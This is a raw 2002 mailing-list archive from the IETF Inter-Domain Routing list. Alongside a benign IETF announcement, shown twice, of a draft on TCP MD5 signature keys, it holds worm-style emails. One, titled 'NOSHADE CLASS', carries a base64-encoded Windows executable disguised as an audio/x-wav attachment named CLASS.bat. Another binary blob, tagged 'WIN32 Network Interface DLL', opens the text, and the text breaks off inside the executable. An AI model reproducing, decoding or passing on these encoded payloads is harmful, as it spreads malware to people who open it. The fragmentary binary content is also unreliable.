AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFdJTjMyIE5ldHdvcmsg SW50ZXJmYWNlIERMTAAAAAAA/////74fv3/EH79/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAMAAAAAAAABGAQAAAAAAAADAAAAAAAAARgIAAAAAAAAAwAAAAAAAAEYDAAAAAAAAAMAA AAAAAABGBAAAAAAAAADAAAAAAAAARgUAAAAAAAAAwAAAAAAAAEYGAAAAAAAAAMAAAAAAAABG BwAAAAAAAADAAAAAAAAARggAAAAAAAAAwAAAAAAAAEYJAAAAAAAAAMAAAAAAAABGCgAAAAAA AADAAAAAAAAARgsAAAAAAAAAwAAAAAAAAEYMAAAAAAAAAMAAAAAAAABGDQAAAAAAAADAAAAA AAAARg4AAAAAAAAAwAAAAAAAAEYPAAAAAAAAAMAAAAAAAABGEAAAAAAAAADAAAAAAAAARhEA AAAAAAAAwAAAAAAAAEYSAAAAAAAAAMAAAAAAAABGEwAAAAAAAADAAAAAAAAARhQAAAAAAAAA wAAAAAAAAEYVAAAAAAAAAMAAAAAAAABGFgAAAAAAAADAAAAAAAAARhcAAAAAAAAAwAAAAAAA AEYYAAAAAAAAAMAAAAAAAABGGQAAAAAAAADAAAAAAAAARqBprLpI+RoQjQIAqgA4wrLAIRy5 UAAbEIqHAKoADE9dAk2/fwJNv38CTb9/Ak2/fwJNv38CTb9/Ak2/fwJNv38CTb9/Ak2/fwJN v38CTb9/Ak2/fwAAAADOVr9/2Fa/f+JWv3+HTb9/o0+/f1dPv39lT79/1E2/f+9Ov38oT79/ 7F=9 --XK91v39xZ57582R --XK91v39xZ57582R Content-Type: application/octet-stream; name=1x1[1].jpg Content-Transfer-Encoding: base64 Content-ID: /9j/4AAQSkZJRgABAQEBLAEsAAD/2wBDAAgGBgcGBQgHBwcJCQgKDBQNDAsLDBkSEw8UHRof Hh0aHBwgJC4nICIsIxwcKDcpLDAxNDQ0Hyc5PTgyPC4zNDL/2wBDAQkJCQwLDBgNDRgyIRwh MjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjL/wAAR CAABAAEDASIAAhEBAxEB/8QAHwAAAQUBAQEBAQEAAAAAAAAAAAECAwQFBgcICQoL/8QAtRAA AgEDAwIEAwUFBAQAAAF9AQIDAAQRBRIhMUEGE1FhByJxFDKBkaEII0KxwRVS0fAkM2JyggkK FhcYGRolJicoKSo0NTY3ODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqDhIWG h4iJipKTlJWWl5iZmqKjpKWmp6ipqrKztLW2t7i5usLDxMXGx8jJytLT1NXW19jZ2uHi4+Tl 5ufo6erx8vP09fb3+Pn6/8QAHwEAAwEBAQEBAQEBAQAAAAAAAAECAwQFBgcICQoL/8QAtREA AgECBAQDBAcFBAQAAQJ3AAECAxEEBSExBhJBUQdhcRMiMoEIFEKRobHBCSMzUvAVYnLRChYk NOEl8RcYGRomJygpKjU2Nzg5OkNERUZHSElKU1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6goOE hYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3uLm6wsPExcbHyMnK0tPU1dbX2Nna4uPk 5ebn6Onq8vP09fb3+Pn6/9oADAMBAAIRAxEAPwD3+iiigD//2T== --XK91v39xZ57582R-- Received: from trapdoor.merit.edu (postfix@trapdoor.merit.edu [198.108.1.26]) by nic.merit.edu (8.9.3/8.9.1) with ESMTP id LAA02837 for ; Tue, 14 May 2002 11:15:23 -0400 (EDT) Received: by trapdoor.merit.edu (Postfix) id 70E899126B; Tue, 14 May 2002 11:14:53 -0400 (EDT) Delivered-To: idr-outgoing@trapdoor.merit.edu Received: by trapdoor.merit.edu (Postfix, from userid 56) id 4AD4B9126C; Tue, 14 May 2002 11:14:53 -0400 (EDT) Delivered-To: idr@trapdoor.merit.edu Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by trapdoor.merit.edu (Postfix) with ESMTP id EDD699126B for ; Tue, 14 May 2002 11:14:51 -0400 (EDT) Received: by segue.merit.edu (Postfix) id C374A5DE95; Tue, 14 May 2002 11:14:49 -0400 (EDT) Delivered-To: idr@merit.edu Received: from smtp2.arnet.com.ar (smtp2.arnet.com.ar [200.45.191.5]) by segue.merit.edu (Postfix) with SMTP id ED0E75DDAC for ; Tue, 14 May 2002 11:14:48 -0400 (EDT) Received: (qmail 16832 invoked from network); 14 May 2002 15:14:44 -0000 Received: from unknown (HELO arnet.com.ar) (200.45.0.20) by smtp2.arnet.com.ar with SMTP; 14 May 2002 15:14:44 -0000 Received: from mail pickup service by arnet.com.ar with Microsoft SMTPSVC; Tue, 14 May 2002 12:12:02 -0300 Received: from mx2.arnet.com.ar ([200.45.0.3]) by mail1.arnet.com.ar with Microsoft SMTPSVC(5.5.1877.677.67); Tue, 14 May 2002 11:49:23 -0300 Received: from smtp-mx-03.arnet.com.ar ([200.45.48.22]) by mx2.arnet.com.ar with Microsoft SMTPSVC(5.5.1877.357.35); Tue, 14 May 2002 11:49:24 -0300 Received: from loki.ietf.org ([132.151.1.177]) by smtp-mx-03.arnet.com.ar with Microsoft SMTPSVC(5.0.2195.4905); Tue, 14 May 2002 11:46:30 -0300 Received: (from adm@localhost) by loki.ietf.org (8.9.1b+Sun/8.9.1) id KAA10142 for ietf-123-outbound.01@ietf.org; Tue, 14 May 2002 10:45:00 -0400 (EDT) Received: from ietf.org (odin.ietf.org [10.27.2.28]) by loki.ietf.org (8.9.1b+Sun/8.9.1) with ESMTP id IAA08735 for ; Tue, 14 May 2002 08:01:42 -0400 (EDT) Received: from CNRI.Reston.VA.US (localhost [127.0.0.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA14324; Tue, 14 May 2002 08:01:29 -0400 (EDT) Message-Id: <200205141201.IAA14324@ietf.org> Mime-Version: 1.0 Content-Type: Multipart/Mixed; Boundary="NextPart" To: IETF-Announce: ; Cc: idr@merit.edu From: Internet-Drafts@ietf.org Reply-To: Internet-Drafts@ietf.org Subject: I-D ACTION:draft-ietf-idr-md5-keys-00.txt Date: Tue, 14 May 2002 08:01:29 -0400 X-OriginalArrivalTime: 14 May 2002 14:46:31.0171 (UTC) FILETIME=[22BDD530:01C1FB56] Sender: owner-idr@merit.edu Precedence: bulk --NextPart A New Internet-Draft is available from the on-line Internet-Drafts directories. This draft is a work item of the Inter-Domain Routing Working Group of the IETF. Title : Security Requirements for Keys used with the TCP MD5 Signature Option Author(s) : M. Leech Filename : draft-ietf-idr-md5-keys-00.txt Pages : 7 Date : 13-May-02 The TCP MD5 Signature Option [RFC2385], used predominantly by BGP, has seen significant deployment in critical areas of Internet infrastructure. The security of this option relies heavily on the quality of the keying material used to compute the MD5 signature. This document addresses the security requirements of that keying material. A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-ietf-idr-md5-keys-00.txt To remove yourself from the IETF Announcement list, send a message to ietf-announce-request with the word unsubscribe in the body of the message. Internet-Drafts are also available by anonymous FTP. Login with the username "anonymous" and a password of your e-mail address. After logging in, type "cd internet-drafts" and then "get draft-ietf-idr-md5-keys-00.txt". A list of Internet-Drafts directories can be found in http://www.ietf.org/shadow.html or ftp://ftp.ietf.org/ietf/1shadow-sites.txt Internet-Drafts can also be obtained by e-mail. Send a message to: mailserv@ietf.org. In the body type: "FILE /internet-drafts/draft-ietf-idr-md5-keys-00.txt". NOTE: The mail server at ietf.org can return the document in MIME-encoded form by using the "mpack" utility. To use this feature, insert the command "ENCODING mime" before the "FILE" command. To decode the response(s), you will need "munpack" or a MIME-compliant mail reader. Different MIME-compliant mail readers exhibit different behavior, especially when dealing with "multipart" MIME messages (i.e. documents which have been split up into multiple messages), so check your local documentation on how to manipulate these messages. Below is the data which will enable a MIME compliant mail reader implementation to automatically retrieve the ASCII version of the Internet-Draft. --NextPart Content-Type: Multipart/Alternative; Boundary="OtherAccess" --OtherAccess Content-Type: Message/External-body; access-type="mail-server"; server="mailserv@ietf.org" Content-Type: text/plain Content-ID: <20020513142127.I-D@ietf.org> ENCODING mime FILE /internet-drafts/draft-ietf-idr-md5-keys-00.txt --OtherAccess Content-Type: Message/External-body; name="draft-ietf-idr-md5-keys-00.txt"; site="ftp.ietf.org"; access-type="anon-ftp"; directory="internet-drafts" Content-Type: text/plain Content-ID: <20020513142127.I-D@ietf.org> --OtherAccess-- --NextPart-- Received: from trapdoor.merit.edu (postfix@trapdoor.merit.edu [198.108.1.26]) by nic.merit.edu (8.9.3/8.9.1) with ESMTP id IAA28409 for ; Tue, 14 May 2002 08:02:09 -0400 (EDT) Received: by trapdoor.merit.edu (Postfix) id 181549128C; Tue, 14 May 2002 08:01:49 -0400 (EDT) Delivered-To: idr-outgoing@trapdoor.merit.edu Received: by trapdoor.merit.edu (Postfix, from userid 56) id D5BEE9128D; Tue, 14 May 2002 08:01:48 -0400 (EDT) Delivered-To: idr@trapdoor.merit.edu Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by trapdoor.merit.edu (Postfix) with ESMTP id 6A7529128C for ; Tue, 14 May 2002 08:01:43 -0400 (EDT) Received: by segue.merit.edu (Postfix) id 313F15DDA3; Tue, 14 May 2002 08:01:41 -0400 (EDT) Delivered-To: idr@merit.edu Received: from ietf.org (odin.ietf.org [132.151.1.176]) by segue.merit.edu (Postfix) with ESMTP id B3E605DD8E for ; Tue, 14 May 2002 08:01:40 -0400 (EDT) Received: from CNRI.Reston.VA.US (localhost [127.0.0.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA14324; Tue, 14 May 2002 08:01:29 -0400 (EDT) Message-Id: <200205141201.IAA14324@ietf.org> Mime-Version: 1.0 Content-Type: Multipart/Mixed; Boundary="NextPart" To: IETF-Announce: ; Cc: idr@merit.edu From: Internet-Drafts@ietf.org Reply-To: Internet-Drafts@ietf.org Subject: I-D ACTION:draft-ietf-idr-md5-keys-00.txt Date: Tue, 14 May 2002 08:01:29 -0400 Sender: owner-idr@merit.edu Precedence: bulk --NextPart A New Internet-Draft is available from the on-line Internet-Drafts directories. This draft is a work item of the Inter-Domain Routing Working Group of the IETF. Title : Security Requirements for Keys used with the TCP MD5 Signature Option Author(s) : M. Leech Filename : draft-ietf-idr-md5-keys-00.txt Pages : 7 Date : 13-May-02 The TCP MD5 Signature Option [RFC2385], used predominantly by BGP, has seen significant deployment in critical areas of Internet infrastructure. The security of this option relies heavily on the quality of the keying material used to compute the MD5 signature. This document addresses the security requirements of that keying material. A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-ietf-idr-md5-keys-00.txt To remove yourself from the IETF Announcement list, send a message to ietf-announce-request with the word unsubscribe in the body of the message. Internet-Drafts are also available by anonymous FTP. Login with the username "anonymous" and a password of your e-mail address. After logging in, type "cd internet-drafts" and then "get draft-ietf-idr-md5-keys-00.txt". A list of Internet-Drafts directories can be found in http://www.ietf.org/shadow.html or ftp://ftp.ietf.org/ietf/1shadow-sites.txt Internet-Drafts can also be obtained by e-mail. Send a message to: mailserv@ietf.org. In the body type: "FILE /internet-drafts/draft-ietf-idr-md5-keys-00.txt". NOTE: The mail server at ietf.org can return the document in MIME-encoded form by using the "mpack" utility. To use this feature, insert the command "ENCODING mime" before the "FILE" command. To decode the response(s), you will need "munpack" or a MIME-compliant mail reader. Different MIME-compliant mail readers exhibit different behavior, especially when dealing with "multipart" MIME messages (i.e. documents which have been split up into multiple messages), so check your local documentation on how to manipulate these messages. Below is the data which will enable a MIME compliant mail reader implementation to automatically retrieve the ASCII version of the Internet-Draft. --NextPart Content-Type: Multipart/Alternative; Boundary="OtherAccess" --OtherAccess Content-Type: Message/External-body; access-type="mail-server"; server="mailserv@ietf.org" Content-Type: text/plain Content-ID: <20020513142127.I-D@ietf.org> ENCODING mime FILE /internet-drafts/draft-ietf-idr-md5-keys-00.txt --OtherAccess Content-Type: Message/External-body; name="draft-ietf-idr-md5-keys-00.txt"; site="ftp.ietf.org"; access-type="anon-ftp"; directory="internet-drafts" Content-Type: text/plain Content-ID: <20020513142127.I-D@ietf.org> --OtherAccess-- --NextPart-- Received: from trapdoor.merit.edu (postfix@trapdoor.merit.edu [198.108.1.26]) by nic.merit.edu (8.9.3/8.9.1) with ESMTP id QAA04731 for ; Mon, 13 May 2002 16:27:34 -0400 (EDT) Received: by trapdoor.merit.edu (Postfix) id A0FF29127E; Mon, 13 May 2002 16:26:08 -0400 (EDT) Delivered-To: idr-outgoing@trapdoor.merit.edu Received: by trapdoor.merit.edu (Postfix, from userid 56) id 1778E91282; Mon, 13 May 2002 16:26:07 -0400 (EDT) Delivered-To: idr@trapdoor.merit.edu Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by trapdoor.merit.edu (Postfix) with ESMTP id 6DC109127E for ; Mon, 13 May 2002 16:26:02 -0400 (EDT) Received: by segue.merit.edu (Postfix) id 3584E5DDFA; Mon, 13 May 2002 16:26:00 -0400 (EDT) Delivered-To: idr@merit.edu Received: from smtp4.yaonline.es (smtp4.yaonline.es [62.151.4.2]) by segue.merit.edu (Postfix) with ESMTP id 2BB275DDD8 for ; Mon, 13 May 2002 16:25:56 -0400 (EDT) Received: from Lrei (48.Red-80-34-22.pooles.rima-tde.net [80.34.22.48]) by smtp4.yaonline.es (Ya.com mail service) with SMTP id 9F93527FA7 for ; Mon, 13 May 2002 22:25:47 +0200 (CEST) From: skh To: idr@merit.edu Subject: NOSHADE CLASS MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=O02ol2mZ15re9y3F9052 Message-Id: <20020513202547.9F93527FA7@smtp4.yaonline.es> Date: Mon, 13 May 2002 22:25:47 +0200 (CEST) Sender: owner-idr@merit.edu Precedence: bulk --O02ol2mZ15re9y3F9052 Content-Type: text/html; Content-Transfer-Encoding: quoted-printable --O02ol2mZ15re9y3F9052 Content-Type: audio/x-wav; name=CLASS.bat Content-Transfer-Encoding: base64 Content-ID: TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAA2AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4g RE9TIG1vZGUuDQ0KJAAAAAAAAAAYmX3gXPgTs1z4E7Nc+BOzJ+Qfs1j4E7Pf5B2zT/gTs7Tn GbNm+BOzPucAs1X4E7Nc+BKzJfgTs7TnGLNO+BOz5P4Vs134E7NSaWNoXPgTswAAAAAAAAAA UEUAAEwBBAC4jrc8AAAAAAAAAADgAA8BCwEGAADAAAAAkAgAAAAAAFiEAAAAEAAAANAAAAAA QAAAEAAAABAAAAQAAAAAAAAABAAAAAAAAAAAYAkAABAAAAAAAAACAAAAAAAQAAAQAAAAABAA ABAAAAAAAAAQAAAAAAAAAAAAAAAg1gAAZAAAAABQCQAQAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ANAAAOwBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAudGV4dAAAAEq6AAAAEAAAAMAAAAAQ AAAAAAAAAAAAAAAAAAAgAABgLnJkYXRhAAAiEAAAANAAAAAgAAAA0AAAAAAAAAAAAAAAAAAA QAAAQC5kYXRhAAAAbF4IAADwAAAAUAAAAPAAAAAAAAAAAAAAAAAAAEAAAMAucnNyYwAAABAA AAAAUAkAEAAAAABAAQAAAAAAAAAAAAAAAABAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 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 